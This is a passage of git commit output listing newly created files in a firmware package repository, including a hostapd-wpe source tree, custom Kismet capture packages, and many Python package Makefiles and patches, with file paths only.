hostapd-wpe/src/wpa_supplicant/blacklist.c create mode 100644 hostapd-wpe/src/wpa_supplicant/blacklist.h create mode 100644 hostapd-wpe/src/wpa_supplicant/bss.c create mode 100644 hostapd-wpe/src/wpa_supplicant/bss.h create mode 100644 hostapd-wpe/src/wpa_supplicant/config.c create mode 100644 hostapd-wpe/src/wpa_supplicant/config.h create mode 100644 hostapd-wpe/src/wpa_supplicant/config_file.c create mode 100644 hostapd-wpe/src/wpa_supplicant/config_none.c create mode 100644 hostapd-wpe/src/wpa_supplicant/config_ssid.h create mode 100644 hostapd-wpe/src/wpa_supplicant/config_winreg.c create mode 100644 hostapd-wpe/src/wpa_supplicant/ctrl_iface.c create mode 100644 hostapd-wpe/src/wpa_supplicant/ctrl_iface.h create mode 100644 hostapd-wpe/src/wpa_supplicant/ctrl_iface_named_pipe.c create mode 100644 hostapd-wpe/src/wpa_supplicant/ctrl_iface_udp.c create mode 100644 hostapd-wpe/src/wpa_supplicant/ctrl_iface_unix.c create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/.gitignore create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/Makefile create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus-wpa_supplicant.conf create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_common.c create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_common.h create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_common_i.h create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_dict_helpers.c create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_dict_helpers.h create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_new.c create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_new.h create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_new_handlers.c create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_new_handlers.h create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_new_handlers_p2p.c create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_new_handlers_p2p.h create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_new_handlers_wps.c create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_new_helpers.c create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_new_helpers.h create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_new_introspect.c create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_old.c create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_old.h create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_old_handlers.c create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_old_handlers.h create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/dbus_old_handlers_wps.c create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/fi.epitest.hostap.WPASupplicant.service.in create mode 100644 hostapd-wpe/src/wpa_supplicant/dbus/fi.w1.wpa_supplicant1.service.in create mode 100644 hostapd-wpe/src/wpa_supplicant/defconfig create mode 100644 hostapd-wpe/src/wpa_supplicant/doc/docbook/.gitignore create mode 100644 hostapd-wpe/src/wpa_supplicant/doc/docbook/Makefile create mode 100644 hostapd-wpe/src/wpa_supplicant/doc/docbook/eapol_test.sgml create mode 100644 hostapd-wpe/src/wpa_supplicant/doc/docbook/wpa_background.sgml create mode 100644 hostapd-wpe/src/wpa_supplicant/doc/docbook/wpa_cli.sgml create mode 100644 hostapd-wpe/src/wpa_supplicant/doc/docbook/wpa_gui.sgml create mode 100644 hostapd-wpe/src/wpa_supplicant/doc/docbook/wpa_passphrase.sgml create mode 100644 hostapd-wpe/src/wpa_supplicant/doc/docbook/wpa_priv.sgml create mode 100644 hostapd-wpe/src/wpa_supplicant/doc/docbook/wpa_supplicant.conf.sgml create mode 100644 hostapd-wpe/src/wpa_supplicant/doc/docbook/wpa_supplicant.sgml create mode 100644 hostapd-wpe/src/wpa_supplicant/driver_i.h create mode 100644 hostapd-wpe/src/wpa_supplicant/eap_proxy_dummy.mak create mode 100644 hostapd-wpe/src/wpa_supplicant/eap_proxy_dummy.mk create mode 100644 hostapd-wpe/src/wpa_supplicant/eap_register.c create mode 100644 hostapd-wpe/src/wpa_supplicant/eap_testing.txt create mode 100644 hostapd-wpe/src/wpa_supplicant/eapol_test.c create mode 100644 hostapd-wpe/src/wpa_supplicant/events.c create mode 100755 hostapd-wpe/src/wpa_supplicant/examples/60_wpa_supplicant create mode 100755 hostapd-wpe/src/wpa_supplicant/examples/dbus-listen-preq.py create mode 100644 hostapd-wpe/src/wpa_supplicant/examples/ieee8021x.conf create mode 100644 hostapd-wpe/src/wpa_supplicant/examples/openCryptoki.conf create mode 100755 hostapd-wpe/src/wpa_supplicant/examples/p2p-action-udhcp.sh create mode 100755 hostapd-wpe/src/wpa_supplicant/examples/p2p-action.sh create mode 100755 hostapd-wpe/src/wpa_supplicant/examples/p2p-nfc.py create mode 100644 hostapd-wpe/src/wpa_supplicant/examples/p2p/p2p_connect.py create mode 100644 hostapd-wpe/src/wpa_supplicant/examples/p2p/p2p_disconnect.py create mode 100644 hostapd-wpe/src/wpa_supplicant/examples/p2p/p2p_find.py create mode 100644 hostapd-wpe/src/wpa_supplicant/examples/p2p/p2p_flush.py create mode 100644 hostapd-wpe/src/wpa_supplicant/examples/p2p/p2p_group_add.py create mode 100644 hostapd-wpe/src/wpa_supplicant/examples/p2p/p2p_invite.py create mode 100644 hostapd-wpe/src/wpa_supplicant/examples/p2p/p2p_listen.py create mode 100644 hostapd-wpe/src/wpa_supplicant/examples/p2p/p2p_stop_find.py create mode 100644 hostapd-wpe/src/wpa_supplicant/examples/plaintext.conf create mode 100644 hostapd-wpe/src/wpa_supplicant/examples/udhcpd-p2p.conf create mode 100644 hostapd-wpe/src/wpa_supplicant/examples/wep.conf create mode 100644 hostapd-wpe/src/wpa_supplicant/examples/wpa-psk-tkip.conf create mode 100644 hostapd-wpe/src/wpa_supplicant/examples/wpa2-eap-ccmp.conf create mode 100755 hostapd-wpe/src/wpa_supplicant/examples/wpas-dbus-new-getall.py create mode 100755 hostapd-wpe/src/wpa_supplicant/examples/wpas-dbus-new-signals.py create mode 100755 hostapd-wpe/src/wpa_supplicant/examples/wpas-dbus-new-wps.py create mode 100755 hostapd-wpe/src/wpa_supplicant/examples/wpas-dbus-new.py create mode 100755 hostapd-wpe/src/wpa_supplicant/examples/wpas-test.py create mode 100755 hostapd-wpe/src/wpa_supplicant/examples/wps-ap-cli create mode 100755 hostapd-wpe/src/wpa_supplicant/examples/wps-nfc.py create mode 100644 hostapd-wpe/src/wpa_supplicant/gas_query.c create mode 100644 hostapd-wpe/src/wpa_supplicant/gas_query.h create mode 100644 hostapd-wpe/src/wpa_supplicant/hs20_supplicant.c create mode 100644 hostapd-wpe/src/wpa_supplicant/hs20_supplicant.h create mode 100644 hostapd-wpe/src/wpa_supplicant/ibss_rsn.c create mode 100644 hostapd-wpe/src/wpa_supplicant/ibss_rsn.h create mode 100644 hostapd-wpe/src/wpa_supplicant/interworking.c create mode 100644 hostapd-wpe/src/wpa_supplicant/interworking.h create mode 100644 hostapd-wpe/src/wpa_supplicant/main.c create mode 100644 hostapd-wpe/src/wpa_supplicant/main_none.c create mode 100644 hostapd-wpe/src/wpa_supplicant/main_winmain.c create mode 100644 hostapd-wpe/src/wpa_supplicant/main_winsvc.c create mode 100644 hostapd-wpe/src/wpa_supplicant/nfc_pw_token.c create mode 100644 hostapd-wpe/src/wpa_supplicant/nmake.mak create mode 100644 hostapd-wpe/src/wpa_supplicant/notify.c create mode 100644 hostapd-wpe/src/wpa_supplicant/notify.h create mode 100644 hostapd-wpe/src/wpa_supplicant/offchannel.c create mode 100644 hostapd-wpe/src/wpa_supplicant/offchannel.h create mode 100644 hostapd-wpe/src/wpa_supplicant/p2p_supplicant.c create mode 100644 hostapd-wpe/src/wpa_supplicant/p2p_supplicant.h create mode 100644 hostapd-wpe/src/wpa_supplicant/preauth_test.c create mode 100644 hostapd-wpe/src/wpa_supplicant/scan.c create mode 100644 hostapd-wpe/src/wpa_supplicant/scan.h create mode 100644 hostapd-wpe/src/wpa_supplicant/sme.c create mode 100644 hostapd-wpe/src/wpa_supplicant/sme.h create mode 100644 hostapd-wpe/src/wpa_supplicant/systemd/wpa_supplicant-nl80211.service.arg.in create mode 100644 hostapd-wpe/src/wpa_supplicant/systemd/wpa_supplicant-wired.service.arg.in create mode 100644 hostapd-wpe/src/wpa_supplicant/systemd/wpa_supplicant.service.arg.in create mode 100644 hostapd-wpe/src/wpa_supplicant/systemd/wpa_supplicant.service.in create mode 100644 hostapd-wpe/src/wpa_supplicant/tests/link_test.c create mode 100644 hostapd-wpe/src/wpa_supplicant/tests/test_eap_sim_common.c create mode 100644 hostapd-wpe/src/wpa_supplicant/tests/test_wpa.c create mode 100644 hostapd-wpe/src/wpa_supplicant/todo.txt create mode 100755 hostapd-wpe/src/wpa_supplicant/utils/log2pcap.py create mode 100755 hostapd-wpe/src/wpa_supplicant/vs2005/eapol_test/eapol_test.vcproj create mode 100755 hostapd-wpe/src/wpa_supplicant/vs2005/win_if_list/win_if_list.vcproj create mode 100755 hostapd-wpe/src/wpa_supplicant/vs2005/wpa_cli/wpa_cli.vcproj create mode 100755 hostapd-wpe/src/wpa_supplicant/vs2005/wpa_passphrase/wpa_passphrase.vcproj create mode 100755 hostapd-wpe/src/wpa_supplicant/vs2005/wpa_supplicant.sln create mode 100755 hostapd-wpe/src/wpa_supplicant/vs2005/wpa_supplicant/wpa_supplicant.vcproj create mode 100755 hostapd-wpe/src/wpa_supplicant/vs2005/wpasvc/wpasvc.vcproj create mode 100644 hostapd-wpe/src/wpa_supplicant/wifi_display.c create mode 100644 hostapd-wpe/src/wpa_supplicant/wifi_display.h create mode 100755 hostapd-wpe/src/wpa_supplicant/win_example.reg create mode 100644 hostapd-wpe/src/wpa_supplicant/win_if_list.c create mode 100644 hostapd-wpe/src/wpa_supplicant/wnm_sta.c create mode 100644 hostapd-wpe/src/wpa_supplicant/wnm_sta.h create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_cli.c create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/.gitignore create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/addinterface.cpp create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/addinterface.h create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/eventhistory.cpp create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/eventhistory.h create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/eventhistory.ui create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/icons.qrc create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/icons/Makefile create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/icons/README create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/icons/ap.svg create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/icons/group.svg create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/icons/invitation.svg create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/icons/laptop.svg create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/icons/wpa_gui.svg create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/icons_png.qrc create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/lang/.gitignore create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/lang/wpa_gui_de.ts create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/main.cpp create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/networkconfig.cpp create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/networkconfig.h create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/networkconfig.ui create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/peers.cpp create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/peers.h create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/peers.ui create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/scanresults.cpp create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/scanresults.h create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/scanresults.ui create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/signalbar.cpp create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/signalbar.h create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/stringquery.cpp create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/stringquery.h create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/userdatarequest.cpp create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/userdatarequest.h create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/userdatarequest.ui create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/wpa_gui.desktop create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/wpa_gui.pro create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/wpagui.cpp create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/wpagui.h create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/wpagui.ui create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_gui-qt4/wpamsg.h create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_passphrase.c create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_priv.c create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_supplicant.c create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_supplicant.conf create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_supplicant_conf.mk create mode 100755 hostapd-wpe/src/wpa_supplicant/wpa_supplicant_conf.sh create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_supplicant_i.h create mode 100644 hostapd-wpe/src/wpa_supplicant/wpa_supplicant_template.conf create mode 100644 hostapd-wpe/src/wpa_supplicant/wpas_glue.c create mode 100644 hostapd-wpe/src/wpa_supplicant/wpas_glue.h create mode 100644 hostapd-wpe/src/wpa_supplicant/wpas_kay.c create mode 100644 hostapd-wpe/src/wpa_supplicant/wpas_kay.h create mode 100644 hostapd-wpe/src/wpa_supplicant/wpas_module_tests.c create mode 100644 hostapd-wpe/src/wpa_supplicant/wps_supplicant.c create mode 100644 hostapd-wpe/src/wpa_supplicant/wps_supplicant.h create mode 100644 kismet-custom/kismet-capture-linux-blueooth/Makefile create mode 100644 kismet-custom/kismet-capture-linux-wifi/Makefile create mode 100644 kismet-custom/kismet-capture-nrf-51822/Makefile create mode 100644 kismet-custom/kismet-capture-nxp-kw41z/Makefile create mode 100644 kismet-custom/kismet-capture-sdr-rtl433/Makefile create mode 100644 kismet-custom/kismet-capture-sdr-rtladsb/Makefile create mode 100644 kismet-custom/kismet-capture-sdr-rtlamr/Makefile create mode 100644 kismet-custom/kismet-capture-ti-cc2531/Makefile create mode 100644 kismet-custom/kismet-capture-ti-cc2540/Makefile create mode 100644 kismet-custom/kismet-custom/Makefile create mode 100644 kismet-custom/kismet-custom/files/kismet_package.conf create mode 100644 kismet-custom/kismet-icao/Makefile create mode 100644 kismet-custom/kismet-manuf/Makefile create mode 100644 kismet-custom/kismet-tools/Makefile create mode 100644 kismet-custom/kismet.mk create mode 100644 kismet-custom/python3-cython/Makefile create mode 100644 kismet-custom/python3-numpy/Makefile create mode 100644 kismet-custom/python3-numpy/patches/100-npy_math_h.patch create mode 100644 kismet-custom/python3-protobuf/Makefile create mode 100644 lang/python/Flask/Makefile create mode 100644 lang/python/Jinja2/Makefile create mode 100644 lang/python/MarkupSafe/Makefile create mode 100644 lang/python/Werkzeug/Makefile create mode 100644 lang/python/bcrypt/Makefile create mode 100644 lang/python/click-log/Makefile create mode 100644 lang/python/click/Makefile create mode 100644 lang/python/django-appconf/Makefile create mode 100644 lang/python/django-compressor/Makefile create mode 100644 lang/python/django-constance/Makefile create mode 100644 lang/python/django-formtools/Makefile create mode 100644 lang/python/django-jsonfield/Makefile create mode 100644 lang/python/django-picklefield/Makefile create mode 100644 lang/python/django-postoffice/Makefile create mode 100644 lang/python/django-ranged-response/Makefile create mode 100644 lang/python/django-restframework/Makefile create mode 100644 lang/python/django-simple-captcha/Makefile create mode 100644 lang/python/django-statici18n/Makefile create mode 100644 lang/python/django-webpack-loader/Makefile create mode 100644 lang/python/django/Makefile create mode 100644 lang/python/flup/Makefile create mode 100644 lang/python/gunicorn/Makefile create mode 100644 lang/python/itsdangerous/Makefile create mode 100644 lang/python/micropython-lib/Makefile create mode 100644 lang/python/micropython/Makefile create mode 100644 lang/python/micropython/patches/000-Makefile-no-errors.patch create mode 100644 lang/python/openpyxl/Makefile create mode 100644 lang/python/passlib/Makefile create mode 100644 lang/python/pillow/Makefile create mode 100644 lang/python/pyjwt/Makefile create mode 100644 lang/python/pyodbc/Makefile create mode 100644 lang/python/pypi.mk create mode 100644 lang/python/python-aiohttp-cors/Makefile create mode 100644 lang/python/python-aiohttp/Makefile create mode 100644 lang/python/python-appdirs/Makefile create mode 100644 lang/python/python-asn1crypto/Makefile create mode 100644 lang/python/python-astral/Makefile create mode 100644 lang/python/python-async-timeout/Makefile create mode 100644 lang/python/python-attrs/Makefile create mode 100644 lang/python/python-automat/Makefile create mode 100644 lang/python/python-automat/patches/001-do-not-use-setuptools-scm-m2r.patch create mode 100644 lang/python/python-automat/patches/002-omit-visualize.patch create mode 100644 lang/python/python-automat/patches/003-omit-tests.patch create mode 100644 lang/python/python-awscli/Makefile create mode 100644 lang/python/python-boto3/Makefile create mode 100644 lang/python/python-botocore/Makefile create mode 100644 lang/python/python-cachelib/Makefile create mode 100644 lang/python/python-cachetools/Makefile create mode 100644 lang/python/python-certifi/Makefile create mode 100644 lang/python/python-cffi/Makefile create mode 100644 lang/python/python-chardet/Makefile create mode 100644 lang/python/python-colorama/Makefile create mode 100644 lang/python/python-constantly/Makefile create mode 100644 lang/python/python-contextlib2/Makefile create mode 100644 lang/python/python-crcmod/Makefile create mode 100644 lang/python/python-crypto/Makefile create mode 100644 lang/python/python-crypto/patches/001-no-host-paths.patch create mode 100644 lang/python/python-crypto/patches/002-fix-endianness-detect.patch create mode 100644 lang/python/python-crypto/patches/003-omit-tests.patch create mode 100644 lang/python/python-crypto/patches/100-CVE-2013-7459.patch create mode 100644 lang/python/python-crypto/patches/101-CVE-2018-6594.patch create mode 100644 lang/python/python-cryptodome/Makefile create mode 100644 lang/python/python-cryptodome/patches/001-fix-libgmp-loading.patch create mode 100644 lang/python/python-cryptodome/patches/002-omit-tests.patch create mode 100644 lang/python/python-cryptodomex/Makefile create mode 100644 lang/python/python-cryptodomex/patches/001-fix-libgmp-loading.patch create mode 100644 lang/python/python-cryptodomex/patches/002-omit-tests.patch create mode 100644 lang/python/python-cryptography/Makefile create mode 100644 lang/python/python-cryptography/patches/001-disable-setup-requirements.patch create mode 100644 lang/python/python-cryptography/patches/010-remove-npn.patch create mode 100644 lang/python/python-cryptography/patches/020-disable-npn.patch create mode 100644 lang/python/python-cryptography/patches/030-remove-npn.patch create mode 100644 lang/python/python-curl/Makefile create mode 100644 lang/python/python-curl/patches/0001-Add-locking-support-to-wolfSSL.patch create mode 100644 lang/python/python-dateutil/Makefile create mode 100644 lang/python/python-decorator/Makefile create mode 100644 lang/python/python-defusedxml/Makefile create mode 100644 lang/python/python-dns/Makefile create mode 100644 lang/python/python-docutils/Makefile create mode 100644 lang/python/python-dpkt/Makefile create mode 100644 lang/python/python-egenix-mx-base/Makefile create mode 100644 lang/python/python-enum34/Makefile create mode 100644 lang/python/python-enum34/patches/001-omit-docs.patch create mode 100644 lang/python/python-et_xmlfile/Makefile create mode 100644 lang/python/python-evdev/Makefile create mode 100644 lang/python/python-futures/Makefile create mode 100644 lang/python/python-gmpy2/Makefile create mode 100644 lang/python/python-gnupg/Makefile create mode 100644 lang/python/python-host.mk create mode 100644 lang/python/python-hyperlink/Makefile create mode 100644 lang/python/python-hyperlink/patches/001-omit-tests.patch create mode 100644 lang/python/python-idna/Makefile create mode 100644 lang/python/python-ifaddr/Makefile create mode 100644 lang/python/python-importlib-metadata/Makefile create mode 100644 lang/python/python-incremental/Makefile create mode 100644 lang/python/python-incremental/patches/001-omit-tests.patch create mode 100644 lang/python/python-influxdb/Makefile create mode 100644 lang/python/python-intelhex/Makefile create mode 100644 lang/python/python-ipaddress/Makefile create mode 100644 lang/python/python-jdcal/Makefile create mode 100644 lang/python/python-jmespath/Makefile create mode 100644 lang/python/python-jsonpath-ng/Makefile create mode 100644 lang/python/python-ldap/Makefile create mode 100644 lang/python/python-lxml/Makefile create mode 100644 lang/python/python-markdown/Makefile create mode 100644 lang/python/python-more-itertools/Makefile create mode 100644 lang/python/python-multidict/Makefile create mode 100644 lang/python/python-mysql/Makefile create mode 100644 lang/python/python-netdisco/Makefile create mode 100644 lang/python/python-oauthlib/Makefile create mode 100644 lang/python/python-package-install.sh create mode 100644 lang/python/python-package.mk create mode 100644 lang/python/python-packages/Makefile create mode 100644 lang/python/python-packages/README.md create mode 100644 lang/python/python-paho-mqtt/Makefile create mode 100644 lang/python/python-parsley/Makefile create mode 100644 lang/python/python-parsley/patches/001-py3-read-utf8.patch create mode 100644 lang/python/python-parsley/patches/002-omit-tests.patch create mode 100644 lang/python/python-pcapy/Makefile create mode 100644 lang/python/python-pcapy/patches/010-libcxx.patch create mode 100644 lang/python/python-pip-conf/Makefile create mode 100644 lang/python/python-pip-conf/files/pip.conf create mode 100644 lang/python/python-ply/Makefile create mode 100644 lang/python/python-psycopg2/Makefile create mode 100644 lang/python/python-pyasn1-modules/Makefile create mode 100644 lang/python/python-pyasn1/Makefile create mode 100644 lang/python/python-pycparser/Makefile create mode 100644 lang/python/python-pycparser/patches/001-use-external-ply.patch create mode 100644 lang/python/python-pyopenssl/Makefile create mode 100644 lang/python/python-pyotp/Makefile create mode 100644 lang/python/python-pyptlib/Makefile create mode 100644 lang/python/python-pyrsistent/Makefile create mode 100644 lang/python/python-pyserial/Makefile create mode 100644 lang/python/python-pytz/Makefile create mode 100644 lang/python/python-qrcode/Makefile create mode 100644 lang/python/python-rcssmin/Makefile create mode 100644 lang/python/python-requests-oauthlib/Makefile create mode 100644 lang/python/python-requests/Makefile create mode 100644 lang/python/python-rsa/Makefile create mode 100644 lang/python/python-s3transfer/Makefile create mode 100644 lang/python/python-schema/Makefile create mode 100644 lang/python/python-sentry-sdk/Makefile create mode 100644 lang/python/python-service-identity/Makefile create mode 100644 lang/python/python-simplejson/Makefile create mode 100644 lang/python/python-six/Makefile create mode 100644 lang/python/python-slugify/Makefile create mode 100644 lang/python/python-sqlalchemy/Makefile create mode 100644 lang/python/python-twisted/Makefile create mode 100644 lang/python/python-twisted/patches/001-omit-tkconch.patch create mode 100644 lang/python/python-twisted/patches/002-omit-tests.patch create mode 100644 lang/python/python-twisted/patches/003-Fix-several-request-smuggling-attacks.patch create mode 100644 lang/python/python-txsocksx/Makefile create mode 100644 lang/python/python-txsocksx/patches/001-omit-tests.patch create mode 100644 lang/python/python-txsocksx/patches/002-do-not-use-vcversioner.patch create mode 100644 lang/python/python-urllib3/Makefile create mode 100644 lang/python/python-version.mk create mode 100644 lang/python/python-voluptuous-serialize/Makefile create mode 100644 lang/python/python-voluptuous/Makefile create mode 100644 lang/python/python-yaml/Makefile create mode 100644 lang/python/python-yarl/Makefile create mode 100644 lang/python/python-zeroconf/Makefile create mode 100644 lang/python/python-zipp/Makefile create mode 100644 lang/python/python-zope-interface/Makefile create mode 100644 lang/python/python-zope-interface/patches/001-omit-tests.patch create mode 100644 lang/python/python/Config-python-light.in create mode 100644 lang/python/python/Makefile create mode 100644 lang/python/python/files/config.site create mode 100644 lang/python/python/files/python-config.in create mode 100644 lang/python/python/files/python-package-codecs.mk create mode 100644 lang/python/python/files/python-package-compiler.mk create mode 100644 lang/python/python/files/python-package-ctypes.mk create mode 100644 lang/python/python/files/python-package-db.mk create mode 100644 lang/python/python/files/python-package-decimal.mk create mode 100644 lang/python/python/files/python-package-dev.mk create mode 100644 lang/python/python/files/python-package-distutils.mk create mode 100644 lang/python/python/files/python-package-email.mk create mode 100644 lang/python/python/files/python-package-gdbm.mk create mode 100644 lang/python/python/files/python-package-lib2to3.mk create mode 100644 lang/python/python/files/python-package-logging.mk create mode 100644 lang/python/python/files/python-package-multiprocessing.mk create mode 100644 lang/python/python/files/python-package-ncurses.mk create mode 100644 lang/python/python/files/python-package-openssl.mk create mode 100644 lang/python/python/files/python-package-pip.mk create mode 100644 lang/python/python/files/python-package-pkg-resources.mk create mode 100644 lang/python/python/files/python-package-pydoc.mk create mode 100644 lang/python/python/files/python-package-setuptools.mk create mode 100644 lang/python/python/files/python-package-sqlite3.mk create mode 100644 lang/python/python/files/python-package-unittest.mk create mode 100644 lang/python/python/files/python-package-xml.mk create mode 100644 lang/python/python/patches-pip/001-pep517-pyc-fix.patch create mode 100644 lang/python/python/patches-setuptools/001-reproducible.patch create mode 100644 lang/python/python/patches-setuptools/002-sorted-requires.patch create mode 100644 lang/python/python/patches-setuptools/003-PKG-INFO-output-reproducible.patch create mode 100644 lang/python/python/patches-setuptools/004-site-patch.patch create mode 100644 lang/python/python/patches/001-enable-zlib.patch create mode 100644 lang/python/python/patches/002-do-not-add-include-dirs-when-cross-compiling.patch create mode 100644 lang/python/python/patches/003-do-not-compile-tests-at-build.patch create mode 100644 lang/python/python/patches/004-do-not-write-bytes-codes.patch create mode 100644 lang/python/python/patches/005-fix-bluetooth-support.patch create mode 100644 lang/python/python/patches/006-remove-multi-arch-and-local-paths.patch create mode 100644 lang/python/python/patches/007-distutils-do-not-adjust-path.patch create mode 100644 lang/python/python/patches/008-distutils-use-python-sysroot.patch create mode 100644 lang/python/python/patches/009-do-not-use-dblib_dir-when-cross-compiling.patch create mode 100644 lang/python/python/patches/010-do-not-add-rt-lib-dirs-when-cross-compiling.patch create mode 100644 lang/python/python/patches/012-add-support-source-date-epoch-pyc.patch create mode 100644 lang/python/python/patches/013-getbuildinfo-date-time-source-date-epoch.patch create mode 100644 lang/python/python/patches/021-compileall-add-recursion-option.patch create mode 100644 lang/python/python/patches/024-musl-find_library.patch create mode 100644 lang/python/python/patches/025-utime.patch create mode 100644 lang/python/python/patches/026-bpo-34585-Dont-do-runtime-test-to-get-float-byte-order-GH-9085.patch create mode 100644 lang/python/python/patches/027-bpo-34585-run-autoconf-GH-9411-edited.patch create mode 100644 lang/python/python3-bottle/Makefile create mode 100644 lang/python/python3-flask-login/Makefile create mode 100644 lang/python/python3-host.mk create mode 100644 lang/python/python3-maxminddb/Makefile create mode 100644 lang/python/python3-maxminddb/patches/001-Stop-using-deprecated-Feature-from-setuptools.patch create mode 100644 lang/python/python3-netifaces/Makefile create mode 100644 lang/python/python3-package.mk create mode 100644 lang/python/python3-packages/Makefile create mode 100644 lang/python/python3-packages/README.md create mode 100644 lang/python/python3-pyroute2/Makefile create mode 100644 lang/python/python3-unidecode/Makefile create mode 100644 lang/python/python3-version.mk create mode 100644 lang/python/python3/Config-python3-light.in create mode 100644 lang/python/python3/Makefile create mode 100644 lang/python/python3/files/config.site create mode 100644 lang/python/python3/files/python3-package-asyncio.mk create mode 100644 lang/python/python3/files/python3-package-cgi.mk create mode 100644 lang/python/python3/files/python3-package-codecs.mk create mode 100644 lang/python/python3/files/python3-package-ctypes.mk create mode 100644 lang/python/python3/files/python3-package-dbm.mk create mode 100644 lang/python/python3/files/python3-package-decimal.mk create mode 100644 lang/python/python3/files/python3-package-dev.mk create mode 100644 lang/python/python3/files/python3-package-distutils.mk create mode 100644 lang/python/python3/files/python3-package-email.mk create mode 100644 lang/python/python3/files/python3-package-gdbm.mk create mode 100644 lang/python/python3/files/python3-package-lib2to3.mk create mode 100644 lang/python/python3/files/python3-package-logging.mk create mode 100644 lang/python/python3/files/python3-package-lzma.mk create mode 100644 lang/python/python3/files/python3-package-multiprocessing.mk create mode 100644 lang/python/python3/files/python3-package-ncurses.mk create mode 100644 lang/python/python3/files/python3-package-openssl.mk create mode 100644 lang/python/python3/files/python3-package-pip.mk create mode 100644 lang/python/python3/files/python3-package-pkg-resources.mk create mode 100644 lang/python/python3/files/python3-package-pydoc.mk create mode 100644 lang/python/python3/files/python3-package-setuptools.mk create mode 100644 lang/python/python3/files/python3-package-sqlite3.mk create mode 100644 lang/python/python3/files/python3-package-unittest.mk create mode 100644 lang/python/python3/files/python3-package-urllib.mk create mode 100644 lang/python/python3/files/python3-package-xml.mk create mode 100644 lang/python/python3/patches-pip/001-pep517-pyc-fix.patch create mode 100644 lang/python/python3/patches-setuptools/001-reproducible.patch create mode 100644 lang/python/python3/patches-setuptools/002-sorted-requires.patch create mode 100644 lang/python/python3/patches-setuptools/003-PKG-INFO-output-reproducible.patch create mode 100644 lang/python/python3/patches-setuptools/004-site-patch.patch create mode 100644 lang/python/python3/patches/001-enable-zlib.patch create mode 100644 lang/python/python3/patches/003-do-not-run-distutils-tests.patch create mode 100644 lang/python/python3/patches/004-do-not-write-bytes-codes.patch create mode 100644 lang/python/python3/patches/006-remove-multi-arch-and-local-paths.patch create mode 100644 